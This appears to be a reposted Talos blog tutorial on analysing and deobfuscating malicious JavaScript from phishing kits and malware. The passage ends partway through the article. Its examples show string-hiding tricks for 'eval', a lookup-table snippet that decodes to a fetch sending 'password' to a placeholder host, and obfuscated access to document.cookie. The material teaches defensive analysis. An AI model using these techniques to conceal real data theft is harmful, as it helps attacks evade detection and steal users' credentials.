← Back to Feed

JavaScript obfuscation: From party trick to phishing kit

August 27, 2026 · Talos Intelligence · Severity: HIGH

JavaScript obfuscation techniques have evolved from party tricks into sophisticated tools used in phishing kits and malware campaigns. The article examines how obfuscation methods are increasingly used to evade detection by security tools and trick users into executing malicious code.

JavaScript obfuscation: From party trick to phishing kit

We open a JavaScript artifact hoping for code, and instead get string arrays, strangely named functions, encoded URLs, runtime decoders, and eval statements. That is the point where “reading the script” stops being enough. Obfuscated JavaScript is still code, but it is code with the useful context stripped out, the names ruined, the strings hidden, and the real behavior pushed into runtime. It shows up in phishing pages, malware loaders, sketchy browser scripts, and occasionally in legitimate software protection that has wandered into suspicious-looking territory. 

Over the last few years, I’ve spent a fair amount of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and other places where the readable source has been deliberately buried. I might not be a world-class JavaScript reverser, but I’ve learned enough useful tricks to make the mess explain itself. 

In this post I’ll be running through what obfuscation is, why we would try to get past it, and some ways to approach the problem. 

Warning: lots of code (and entirely contrived examples) ahead.

Before touching the weird code 

Before doing any of this, assume the sample is hostile. Work on a copy, preserve the original, and do not run unknown JavaScript on your normal machine, in your normal browser profile, or anywhere useful credentials, clipboard contents, SSH agents, npm tokens, cloud credentials, or corporate proxy details are available. 

That includes AI-assisted analysis. AI tools are useful here, and this whole workflow leans on them, but they are not a sandbox and they are not an evidence source by themselves. Use them on isolated snippets, decoded artifacts, and recovered payloads you are comfortable sharing with the tool in front of you. The goal is not to avoid AI; it is to avoid feeding hostile or sensitive material into places you do not control. 

The useful questions are boring, which is why they work: 

  • What does it read? 
  • What does it write? 
  • Where does it connect? 
  • What code does it generate? 
  • What conditions change its behavior? 
  • What happens to a real user, developer, or build runner? 

What counts as obfuscation? 

Let's make some important definitions: 

  • Minification reduces raw code size by shortening identifiers and removing whitespace. 
  • Packing compresses or encodes code and reconstructs it at runtime. 
  • Encoding hides strings or payloads until decoded; encryption does the same with a key involved. 
  • Anti-analysis tries to punish, detect, or mislead the analyst and their tools. 
  • Obfuscation is an overall term for when code is transformed to preserve execution while obscuring intent. 

Not all obfuscation is malicious, but it can be a reason to look more closely. Examples of benign uses include performance bundling/minification, IP protection and anti-tamper controls. 

Examples of suspicious uses are: 

  • Hiding phishing credential exfiltration 
  • Malware loaders 
  • Browser extension abuse 
  • npm package install scripts 
  • Compromised website injections 
  • Fake CAPTCHA and update flows

Why beautifying is not enough 

Beautifying code is useful, but it is not deobfuscation. Tools like Biome or Prettier can restore indentation line breaks and basic readability, so they are usually a sensible first step. What they cannot do is restore original variable names, recover intent, rebuild removed structure, decode runtime strings, or turn a dispatcher loop back into normal logic. 

Beautifying makes the code easier to look at. It does not necessarily make it easier to understand. 

Minification and packing 

Minification takes identifiers like myVeryImportantBusinessFunction and renames them to m. Great for saving bytes; less great when the original name was the only obvious clue about what the function did. 

Packing goes further: Compress or encode the real code, then reconstruct and execute it at runtime. eval() does not care whether the input started life as readable JavaScript, Base64, gzip output, or a custom string table. 

The usual move is to find the unpacking step and capture what comes out. Do not spend too long admiring the wrapper. Replace the execution sink, log the payload, decode the next layer, and keep going.

A practical catalog of nonsense 

Most JavaScript obfuscation is not one grand technique. It is a collection of smaller tricks stacked together until the useful behavior disappears under ceremony. 

I normally group the tricks into a few buckets: 

  • Hiding strings and identifiers 
  • Hiding which APIs are being called 
  • Generating code at runtime 
  • Making the control flow hostile 
  • Detecting or punishing analysis 
  • Adding noise without changing behavior 

Once you can classify the trick, the next move is usually obvious: Decode it, rename it, replace the action-taking functionality, then run it in a controlled harness — or ignore it because it does not affect behavior. 

Static hiding 

This is obfuscation that makes the code harder to understand before it runs, usually by disguising strings, identifiers, API names, or structure so simple reading and searching become less useful. 

String hiding and encoding 

If strings are hidden, the author probably cares about what simple scanning would find. This is especially useful when they need to include things like URLs, authentication tokens, common functions, or other interesting indicators. 

All these lines evaluate into the string "eval":

// Splitting strings 
> 'e'+"va"+'l' 
< 'eval' 
// Hex encoding 
> "\x65\x76\x61\x6c" 
< 'eval' 
// Character-code reconstruction 
> String.fromCharCode(101, 118, 97, 108) 
< 'eval' 
// Base64 encoding 
> atob('ZXZhbA==') 
< 'eval' 
// Unicode encoding 
> "\u0065\u0076\u0061\u006C" 
< 'eval'

Another option is arrays of strings joined together. It hides from simple searches but is transparent at runtime. This example turns into `"https://"`, which means a basic string search for URLs may miss it.

> ["ht", "tps", "://"].join("") 
< "https://"

Unicode escaping can also be used to refer to a function — we're doing eval(1+2) here:

> \u0065\u0076\u0061\u006C(0x01+2) 
< 3 
// set the variable 'eeee' equal to 1 
> const \u0065\u0065\u0065\u0065=1; 
> eeee 
1

Combine a few of these methods and you get code that hides in plain sight from simple searches, but not from execution. Small blocks like this are also where AI tools can help: decode the string, rename the variables, and explain the resulting behavior. 

Lookup tables and decoder functions 

A common pattern is using identifiers that start with _0x, which makes the code harder to scan quickly. Here's an example:

const _0x1234 = ["fetch", "password", "https://example.com"]; 
// javascript has a load of different syntaxes for creating functions 
_0xabc = (i) => { 
  return _0x1234[i - 0x10]; 
} 
\u0065\u0076\u0061\u006C(`${_0xabc(16)}(\"${_0xabc(18)}?${_0xabc(17)}\")`) 

If you want to do it by hand, the first quick move is renaming things:

const ourSneakyItems = ["fetch", "password", "https://example.com"]; 
function lookup(i) { 
  return ourSneakyItems[i - 16]; 
} 
eval(`${lookup(16)}(\"${lookup(18)}?${lookup(17)}\")`) 

Then you can collapse the lookups into their values:

eval(`fetch("https://example.com?password")`) 

Modern IDEs are very handy here. Formatting makes the code less awful to read, and refactoring tools make repeated renaming less error-prone. AI tools can also do this well, assuming you pass in small blocks without stripping away the context needed to understand them. 

Dynamic property access 

JavaScript gives you several ways to refer to the same property:

> window.document.cookie 
> window["document"].cookie 
> window["doc" + "ument"]["coo" + "kie"] 
☕ Buy a Coffee